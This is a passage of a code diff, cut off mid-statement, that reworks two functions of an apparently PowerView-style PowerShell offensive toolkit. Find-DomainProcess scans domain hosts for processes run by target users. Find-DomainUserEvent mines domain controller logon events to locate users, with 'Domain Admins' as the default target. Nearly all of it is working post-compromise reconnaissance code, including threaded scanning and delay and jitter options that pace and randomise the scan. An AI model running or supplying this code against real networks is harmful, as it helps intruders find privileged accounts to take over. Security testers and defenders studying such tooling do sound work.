$Delay = 0, - if(!$ComputerName) { - [array]$ComputerName = @() + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name ) - } + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + + # first, build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainProcess] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainProcess] No hosts found to enumerate' } - ##################################################### - # - # Now we build the user target set - # - ##################################################### - - if(!$ProcessName) { - Write-Verbose "No process name specified, building a target user set" - - # users we're going to be searching for - $TargetUsers = @() - - # if we want to hunt for the effective domain users who can access a target server - if($TargetServer) { - Write-Verbose "Querying target server '$TargetServer' for local users" - $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { - ($_.AccountName).split("/")[1].toLower() - } | Where-Object {$_} - } - # if we get a specific username, only use that - elseif($UserName) { - Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers = @( $UserName.ToLower() ) - } - # read in a target user list if we have one - elseif($UserFile) { - $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} - } - elseif($UserADSpath -or $UserFilter) { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { - $_.samaccountname - } | Where-Object {$_} - } - } - else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object { - $_.MemberName - } - } - } - - if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { - throw "[!] No users found to search for!" + # now build the user target set + if ($PSBoundParameters['ProcessName']) { + $TargetProcessName = @() + ForEach ($T in $ProcessName) { + $TargetProcessName += $T.Split(',') + } + if ($TargetProcessName -isnot [System.Array]) { + $TargetProcessName = [String[]] @($TargetProcessName) } } - - # script block that enumerates a server + elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + else { + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $GroupSearcherArguments + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { - param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential) - - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # try to enumerate all active processes on the remote host - # and search for a specific process name - $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue - - ForEach ($Process in $Processes) { - # if we're hunting for a process name or comma-separated names - if($ProcessName) { - $ProcessName.split(",") | ForEach-Object { - if ($Process.ProcessName -match $_) { + Param($ComputerName, $ProcessName, $TargetUsers, $Credential) + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # try to enumerate all active processes on the remote host + # and search for a specific process name + if ($Credential) { + $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue + } + else { + $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue + } + ForEach ($Process in $Processes) { + # if we're hunting for a process name or comma-separated names + if ($ProcessName) { + if ($ProcessName -Contains $Process.ProcessName) { $Process } } - } - # if the session user is in the target list, display some output - elseif ($TargetUsers -contains $Process.User) { - $Process + # if the session user is in the target list, display some output + elseif ($TargetUsers -Contains $Process.User) { + $Process + } } } } } - } - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'ProcessName' = $ProcessName - 'TargetUsers' = $TargetUsers - 'Credential' = $Credential - } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter" $Counter = 0 + $RandNo = New-Object System.Random - ForEach ($Computer in $ComputerName) { - + ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential + Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential $Result - if($Result -and $StopOnSuccess) { - Write-Verbose "[*] Target user/process found, returning early" + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainProcess] Target user found, returning early" return } } } + else { + Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'ProcessName' = $TargetProcessName + 'TargetUsers' = $TargetUsers + 'Credential' = $Credential + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } } } -function Invoke-EventHunter { +function Find-DomainUserEvent { <# - .SYNOPSIS +.SYNOPSIS + +Finds logon events on the current (or remote domain) for the specified users. + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction + +.DESCRIPTION + +Enumerates all domain controllers from the specified -Domain +(default of the local domain) using Get-DomainController, enumerates +the logon events for each using Get-DomainUserEvent, and filters +the results based on the targeting criteria. + +.PARAMETER ComputerName + +Specifies an explicit computer name to retrieve events from. + +.PARAMETER Domain + +Specifies a domain to query for domain controllers to enumerate. +Defaults to the current domain. + +.PARAMETER Filter + +A hashtable of PowerView.LogonEvent properties to filter for. +The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', +and is 'or' by default, meaning at least one clause matches instead of all. +See the exaples for usage. + +.PARAMETER StartTime + +The [DateTime] object representing the start of when to collect events. +Default of [DateTime]::Now.AddDays(-1). + +.PARAMETER EndTime + +The [DateTime] object representing the end of when to collect events. +Default of [DateTime]::Now. + +.PARAMETER MaxEvents - Queries all domain controllers on the network for account - logon events (ID 4624) and TGT request events (ID 4768), - searching for target users. +The maximum number of events (per host) to retrieve. Default of 5000. - Note: Domain Admin (or equiv) rights are needed to query - this information from the DCs. +.PARAMETER UserIdentity - Author: @sixdub, @harmj0y - License: BSD 3-Clause +Specifies one or more user identities to search for. - .PARAMETER ComputerName +.PARAMETER UserDomain - Host array to enumerate, passable on the pipeline. +Specifies the domain to query for users to search for, defaults to the current domain. - .PARAMETER ComputerFile +.PARAMETER UserLDAPFilter - File of hostnames/IPs to search. +Specifies an LDAP query string that is used to search for target users. - .PARAMETER ComputerFilter +.PARAMETER UserSearchBase - Host filter name to query AD for, wildcards accepted. +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - .PARAMETER ComputerADSpath +.PARAMETER UserGroupIdentity - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. - .PARAMETER GroupName +.PARAMETER UserAdminCount - Group name to query for target users. +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). - .PARAMETER TargetServer +.PARAMETER Server - Hunt for users who are effective local admins on a target server. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER UserName +.PARAMETER SearchScope - Specific username to search for. +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER UserFilter +.PARAMETER ResultPageSize - A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER UserADSpath +.PARAMETER ServerTimeLimit - The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER UserFile +.PARAMETER Tombstone - File of usernames to search for. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER NoPing +.PARAMETER Credential - Don't ping each host to ensure it's up before enumerating. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target computer(s). - .PARAMETER Domain +.PARAMETER StopOnSuccess - Domain for query for machines, defaults to the current domain. +Switch. Stop hunting after finding after finding a target user. - .PARAMETER DomainController +.PARAMETER Delay - Domain controller to reflect LDAP queries through. +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - .PARAMETER SearchDays +.PARAMETER Jitter - Number of days back to search logs for. Default 3. +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - .PARAMETER SearchForest +.PARAMETER Threads - Switch. Search all domains in the forest for target users instead of just - a single domain. +The number of threads to use for user searching, defaults to 20. - .PARAMETER Threads +.EXAMPLE - The maximum concurrent threads to execute. +Find-DomainUserEvent - .PARAMETER Credential +Search for any user events matching domain admins on every DC in the current domain. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.EXAMPLE - .EXAMPLE +$cred = Get-Credential dev\administrator +Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' - PS C:\> Invoke-EventHunter +Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' +domain controller using the alternate credential - .LINK +.EXAMPLE - http://blog.harmj0y.net +'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} + +Find user events on the primary.testlab.local system where the event matches +the IPAddress '192.168.52.200' or '192.168.52.201'. + +.EXAMPLE + +$cred = Get-Credential testlab\administrator +Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} + +Find user events mathing the specified GUID AND the specified TargetLogonId, searching +through every domain controller in the current domain, enumerating each DC in serial +instead of in a threaded manner, using the alternate credential. + +.OUTPUTS + +PowerView.LogonEvent + +PowerView.ExplicitCredentialLogon + +.LINK + +http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerView.LogonEvent')] + [OutputType('PowerView.ExplicitCredentialLogon')] + [CmdletBinding(DefaultParameterSetName = 'Domain')] + Param( + [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('dnshostname', 'HostName', 'name')] + [ValidateNotNullOrEmpty()] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [Parameter(ParameterSetName = 'Domain')] + [ValidateNotNullOrEmpty()] [String] - $ComputerFile, + $Domain, - [String] - $ComputerFilter, + [ValidateNotNullOrEmpty()] + [Hashtable] + $Filter, - [String] - $ComputerADSpath, + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [DateTime] + $StartTime = [DateTime]::Now.AddDays(-1), - [String] - $GroupName = 'Domain Admins', + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [DateTime] + $EndTime = [DateTime]::Now, - [String] - $TargetServer, + [ValidateRange(1, 1000000)] + [Int] + $MaxEvents = 5000, + [ValidateNotNullOrEmpty()] [String[]] - $UserName, - - [String] - $UserFilter, - - [String] - $UserADSpath, + $UserIdentity, - [ValidateScript({Test-Path -Path $_ })] + [ValidateNotNullOrEmpty()] [String] - $UserFile, + $UserDomain, + [ValidateNotNullOrEmpty()] [String] - $Domain, + $UserLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $DomainController, + $UserSearchBase, - [Int32] - $SearchDays = 3, + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + [Alias('AdminCount')] [Switch] - $SearchForest, - - [ValidateRange(1,100)] - [Int] - $Threads, + $UserAdminCount, - [Management.Automation.PSCredential] - $Credential - ) + [Switch] + $CheckAccess, - begin { + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - # random object for delay - $RandNo = New-Object System.Random + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - Write-Verbose "[*] Running Invoke-EventHunter" + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain -Credential $Credential).name ) - } + [Switch] + $Tombstone, - ##################################################### - # - # First we build the host target set - # - ##################################################### + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - if(!$ComputerName) { - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - elseif($ComputerFilter -or $ComputerADSpath) { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath - } - } - else { - # if a computer specifier isn't given, try to enumerate all domain controllers - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for domain controllers" - $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname} - } - } + [Switch] + $StopOnSuccess, - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } - } + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, - ##################################################### - # - # Now we build the user target set - # - ##################################################### + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, - # users we're going to be searching for - $TargetUsers = @() + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) - # if we want to hunt for the effective domain users who can access a target server - if($TargetServer) { - Write-Verbose "Querying target server '$TargetServer' for local users" - $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { - ($_.AccountName).split("/")[1].toLower() - } | Where-Object {$_} - } - # if we get a specific username, only use that - elseif($UserName) { - # Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers = $UserName | ForEach-Object {$_.ToLower()} - if($TargetUsers -isnot [System.Array]) { - $TargetUsers = @($TargetUsers) - } - } - # read in a target user list if we have one - elseif($UserFile) { - $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} - } - elseif($UserADSpath -or $UserFilter) { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { - $_.samaccountname - } | Where-Object {$_} - } + BEGIN { + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { + # otherwise we're querying a specific group + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + Write-Verbose "UserGroupIdentity: $UserGroupIdentity" + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + # build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName } else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { - $_.MemberName - } + # if not -ComputerName is passed, query the current (or target) domain for domain controllers + $DCSearcherArguments = @{ + 'LDAP' = $True } + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } + Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain" + $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname } - - if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { - throw "[!] No users found to search for!" + if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { + $TargetComputers = @(,$TargetComputers) + } + Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)" + Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainUserEvent] No hosts found to enumerate' } - # script block that enumerates a server + # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { - param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential) + Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # try to enumerate - if($Credential) { - Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { - # filter for the target user set - $TargetUsers -contains $_.UserName + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $DomainUserEventArgs = @{ + 'ComputerName' = $TargetComputer } - } - else { - Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { - # filter for the target user set - $TargetUsers -contains $_.UserName + if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime } + if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime } + if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents } + if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential } + if ($Filter -or $TargetUsers) { + if ($TargetUsers) { + Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName} + } + else { + $Operator = 'or' + $Filter.Keys | ForEach-Object { + if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) { + if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) { + $Operator = 'and' + } + } + } + $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')} + Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object { + if ($Operator -eq 'or') { + ForEach ($Key in $Keys) { + if ($_."$Key" -match $Filter[$Key]) { + $_ + } + } + } + else { + # and all clauses + ForEach ($Key in $Keys) { + if ($_."$Key" -notmatch $Filter[$Key]) { + break + } + $_ + } + } + } + } + } + else { + Get-DomainUserEvent @DomainUserEventArgs } } } } - } - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'TargetUsers' = $TargetUsers - 'SearchDays' = $SearchDays - 'Credential' = $Credential - } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter" $Counter = 0 + $RandNo = New-Object System.Random - ForEach ($Computer in $ComputerName) { - + ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential + Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + $Result = 